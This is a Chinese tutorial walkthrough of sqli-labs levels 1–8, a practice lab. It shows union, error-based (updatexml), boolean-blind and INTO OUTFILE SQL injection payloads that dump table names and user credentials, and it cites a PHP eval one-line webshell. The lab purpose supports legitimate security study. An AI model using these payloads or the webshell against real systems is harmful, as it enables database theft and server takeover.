sql-labs(1-8关)

news2025/1/16 15:46:49

mysql数据结构

在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。

一.Less-1

判断是否存在sql注入

1.提示你输入数字值的ID作为参数,我们输入?id=1

2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

联合注入

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=-1'union select 1,2,3--+

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

?id=-1' union select 1,database(),version() --+

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

得到库名为security

接下来查询库下面的表:

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询到表名为:emails,referers,uagents,users 一共是4个表

第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

二.Less-2

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的:

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
 
 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

三.Less-3

输入:?id=1(2,3...)时都正常

但是输入?id=1'时页面报错,并且报错信息中出现了括号

可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

构造本题的payload,就是对前两关的一个变形

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

四.Less-4

输入?id=1\  然后查看报错信息,回显提示本关是双引号加括号的闭合方式

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

所以构造出来payload,只需要把前面几关的闭合方式换掉

五.Less-5

第五关根据页面结果得知是字符型(而且是单引号)但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

1.第五关是单引号注入,没有显示位,只有正确页面和错误页面对比
?id=1'

2.用--+进行注释,页面正常显示
?id=1'--+

第二步:采用报错注入(updatexml函数)

updatexml函数-报错注入原理学习-CSDN博客

1.爆出数据库名和数据库版本号(0x7e是~的转移,用来更好的分清内容)

?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+

得到库名和库的版本

2.爆出数据库下的所有表名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+

3.爆出表下的所有字段
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+

4.爆出字段下的内容(updatexml函数报错内容长度不能超过32个字符,所以不能查看全部的内容,这里也可以用limit一个一个的来进行查看)
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+
#其他字段内容也可用这个方法一个一个查看

......

六.Less-6

根据报错回显得知是双引号闭合方式

?id=1" --+       页面正常回显

剩下的步骤和第五关差不多,但是需要注意是双引号闭合

?id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+

?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+

......

七.Less-7

页面显示use outfile意思是利用文件上传来做

1.最终判断出来是单引号加双括号闭合的方式

2.测一下回显

?id=1')) order by 3--+   回显正常  You are in.... Use outfile......

判断回显位有三个。

 

该关卡需要用到文件写入操作,所以需要开启MySQL中的文件写入
进入MySQL下的bin目录,用命令行连接数据库

查看是否开启文件写入

show variables like '%secure%';

需要修改secure_file_priv参数值

secure_file_priv='/'

NULL:限制mysql服务不允许导入/导出;

/tmp/:限制mysql的导入或导出只发生在/tmp/目录下;

没有具体值:不对mysql的导入/导出做限制

打开my.ini文件

查看修改是否成功

进行写入操作,写入一句话木马<?php @eval($_post['password']);?> 

用文件写入爆出数据库信息

http://sqli.com/Less-7/?id=1')) union select user(),database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile 'D:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\1.txt' --+

http://sqli.com/Less-7/?id=1')) union select version(),@@version_compile_os,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') into outfile 'D:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\2.txt' --+

完成

八.Less-8

用and 1=1 和 and 1=2测试,发现id=1的情况都是正常的,排除数字型。直接提交id=1’ 发现页面异常,重点来了,页面异常却没有因为闭合的问题返回报错信息,而是页面什么都没有。那果断用布尔盲注,通过ture和false来猜测数据库相关信息。

1.直接提交?id=1' --+   页面回显正常,这就像正常返回ture(正常页面),异常返回false(页面空白页面)。所以判断闭合方式为单引号闭合

补充:如果无论注入语句是正确还是错误的,都返回正常页面,那么这个就要用时间盲注

2.爆字段个数

?id=1' order by 3-++

根据回显可知字段个数为3

3.猜测库名的长度

id=1' and (length(database()))>7--+

?id=1' and (length(database()))>8--+

根据回显可以知道,数据库名的长度为8,因为当我们执行让它大于8时,页面没有回显

(一开始可以从大于1开始试,然后根据回显报错再缩小查找范围)

4.猜测数据库名

?id=1' and ascii(substr(database(),1,1))>114 --+

发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。

我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security(每一个英文字母都有自己对应的ascii码值)

5.猜表名的长度

?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   (结果为4)

判断第一个表的长度

?id=1'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+(结果为6)

通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

6.判断表的字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+

说明表中第一个字符的ASCII值大于79

?id=1'   and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

第一个值为:e,看一下解释如何往下进行

第二个字符为m:?id=1'   and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+

就这样依次进行得到表名:emails/users

7.爆字段列数

?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

8.获取字段的列名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

第一列第一个字符为:i

第二个为d:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+

依次求第二列:
第一个字符:u

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+

最终得到:

第一列名:id

第二列名:username
第三列名:password

9.获取表中的数据

获取条数:

?id=1' and  (select count(*) from users)=13 --+(为13条)

判断数据的长度:

?id=1'   and  length((select id from users limit 0,1))=1 --+(长度为1)

获取数据:

select id from users limit 0,1;

获取username中数据

获取password中数据

可见账号为Dumb 密码为Dumb

判断长度:

?id=1'   and  length((select username from users limit 0,1))=4 --+

判断数据:

?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+

可见username中第一个字符为:D
然后就这样依次进行得到username:Dumb,password:Dumb

小结:这样手注的方法太慢了,而且程序十分的复杂(如果遇到盲注的题目建议使用脚本或者bp)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1608727.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

面试: Hashtable vs ConcurrentHashMap

一、Hashtable和ConcurrentHashMap的不同和相同点 Hashtable 与 ConcurrentHashMap 都是线程安全的Map 集合。Hashtable 并发度低&#xff0c;整个Hashtable对应一把锁&#xff0c;同一时刻&#xff0c;只能有一个线程操作它。1.8之前ConcurrentHashMap使用了Segment 数组&…

爱普生发布一款16位MCU产品用于大电流LED驱动

精工爱普生发布一款内置Flash存储器的16位微控制器S1C17M13 该新品可以提供最大56mA的驱动电流用于驱动发光二极管(LED) 以往爱普生的微处理器大多继承了液晶驱动器电路&#xff0c;但近来随着工业自动化和家用设备使用7段LED显示的数量大幅增加&#xff0c;爱普生也推出了对应…

pdf加水印怎么加?自己原创的PDF资料分享到网络上需要采取一些版权保护的措施,添加水印就是个不错的选择

一&#xff0c;水印的基本概念 水印通常是一种用于标识文件来源、版权信息或防止非法复制的标记。它可以是文字、图形或图像等形式&#xff0c;以半透明或半淡化的方式嵌入到文件中&#xff0c;既不影响文件的正常阅读&#xff0c;又能起到标识和保护的作用。 二&#xff0c;…

如何查看Debian Linux的内核版本

2024年4月19日&#xff0c;周五上午 uname -r

测试数据整理--chatgpt 构造sql语句导出数据库数据

在测试过程中&#xff0c;我们有时候需要准备一些测试数据&#xff0c;若从系统中直接导出Excel数据&#xff0c;数据往往庞大且需要整合&#xff0c;不好整理&#xff0c;于是我们直接去数据库中查询一些表&#xff0c;数据整合后直接导出结果会更方便。 我们今天就 用 chatg…

【EdgeBox-8120AI-TX2】Ubuntu18.04 + ROS_ Melodic + 星秒PAVO2单线激光 雷达评测

大家好&#xff0c;我是虎哥&#xff0c;好久不见&#xff0c;最近这断时间出现了一点变故&#xff0c;开始自己创业&#xff0c;很多事需要忙&#xff0c;所以停更了大约大半年&#xff0c;最近一切已经理顺&#xff0c;所以我还是抽空继续我之前的FLAG&#xff0c;CSDN突破十…

矩阵混乱度(熵值)代码计算

1、先回顾下熵值的数据公式&#xff1a; 2、jax.numpy代码 注意的点&#xff1a;熵值计算的输入的必须是归一化的正值 import jax.numpy as jnp import jax def _entroy(probs):log_probs jnp.log2(jnp.maximum(1.0e-30, probs))mean_sum_plogp jnp.mean(- jnp.sum(log_pro…

OpenHarmony鸿蒙南向开发案例:【智能窗户通风设备】

样例简介 本文档介绍了安全厨房案例中的相关智能窗户通风设备&#xff0c;本安全厨房案例利用轻量级软总线能力&#xff0c;将两块欧智通V200Z-R/BES2600开发板模拟的智能窗户通风设备和燃气告警设备组合成。当燃气数值告警时&#xff0c;无需其它操作&#xff0c;直接通知软总…

java实现chatGPT SDK

搭建一个 ChatGPT-SDK 组件工程&#xff0c;专门用于封装对 OpenAI 接口的使用。由于 OpenAI 接口本身较多&#xff0c;并有各类配置的设置&#xff0c;所以开发一个共用的 SDK 组件&#xff0c;更合适我们在各类工程中扩展使用 整个流程为&#xff1a;以会话模型为出口&#x…

spring boot后端开发基础

spring boot后端开发基础 Spring Boot一、开发步骤二、Web分析三、跨域问题四、HTTP协议五、Web服务器六、响应前端请求七、springboot常用注解创建一个简单的RESTful API服务层和数据访问层配置类和Bean定义响应体和路径变量 Spring Boot 一、开发步骤 创建项目 添加依赖 项…

设计模式代码实战-责任链模式

1、问题描述 小明所在的公司请假需要在OA系统上发布申请&#xff0c;整个请求流程包括多个处理者&#xff0c;每个处理者负责处理不同范围的请假天数&#xff0c;如果一个处理者不能处理请求&#xff0c;就会将请求传递给下一个处理者&#xff0c;请你实现责任链模式&#xff…

javax.net.ssl.SSLHandshakeException: No appropriate protocol

cd /Library/Java/JavaVirtualMachines/jdk-1.8.jdk/Contents/home/jre/lib/security sudo vi java.security 删掉下面的三个配置,然后重启应用即可

对EKS(AWS云k8s)启用AMP(AWS云Prometheus)监控+AMG(AWS云 grafana)

问题 需要在针对已有的EKS k8s集群启用Prometheus指标监控。而且&#xff0c;这里使用AMP即AWS云的Prometheus托管服务。好像这个服务&#xff0c;只有AWS国际云才有&#xff0c;AWS中国云没得这个托管服务。下面&#xff0c;我们就来尝试在已有的EKS集群上面启用AMP监控。 步…

mybatis的使用技巧8——联合查询union和union all的区别和用法

在实际项目开发中&#xff0c;会经常联合查询结构相似的多张数据表&#xff0c;使用union关键字就只需要一次sql操作&#xff0c;而无需执行多次查询并通过代码逻辑合并处理&#xff0c;减少了大量繁琐的操作&#xff0c;最重要的是还能通过可选的all关键字筛选重复的数据。 1…

服务器基本故障和排查方法

前言 服务器运维工作中遇到的问题形形色色&#xff0c;无论何种故障&#xff0c;都需要结合具体情况&#xff0c;预防为主的思想&#xff0c;熟悉各种工具和技术手段&#xff0c;养成良好的日志分析习惯&#xff0c;同时建立完善的应急预案和备份恢复策略&#xff0c;才能有效…

sprinboot+vue集成neo4j图数据库

一 、java后台 1.1 package com.admin.domain;/*** 功能描述&#xff1a;** author wangwei* date 2024-01-15 22:13*/ public class ConnectWeb {private String connectWebId;private String connectWebName;private String connectWebInfo;private String personWebIdAlph…

在 Node.js 中配置代理 IP 采集文章

不说废话&#xff0c;直接上代码&#xff1a; const http require(http); const https require(https);// 之后可以使用 http 或 https 模块发起请求&#xff0c;它们将自动使用配置的代理 // 代理ip&#xff1a;https://www.kuaidaili.com/?refrg3jlsko0ymg const proxy …

用Python在PDF文档中插入单图像水印和平铺图像水印

PDF文档因其跨平台兼容性和内容保真度成为信息交换的标准载体&#xff0c;为应对版权侵犯、内容篡改以及未经授权的传播等风险&#xff0c;向PDF中插入图片水印成为一种强化文档安全性、彰显所有权及实施访问控制的有效手段。图片水印不仅能以直观的方式标示文档来源、强化版权…

HWOD:合并整型数组

一、知识点 合并整型数组目前有两种方法 合并数组并不一定需要真正的合并 1、下意识的方法 对两个整型数组分别排序&#xff0c;然后合并 2、不排序的方法 遍历两个数组&#xff0c;找出最小值&#xff0c;输出最小值。将两个数组中与最小值相等的位置置为超大值 重复以…

uniapp Android 插件开发教程

一、下载uniapp提供的SDK Android 离线SDK - 正式版 | uni小程序SDK 二、在uniapp创建一个项目 查看包名&#xff1a;发行--> 原生app 云打包 三、进入dcloud官网 开发者中心 进入 应用管理 --> 我的应用 --> 点击应用名称-->各平台信息-->新增 这里需要这…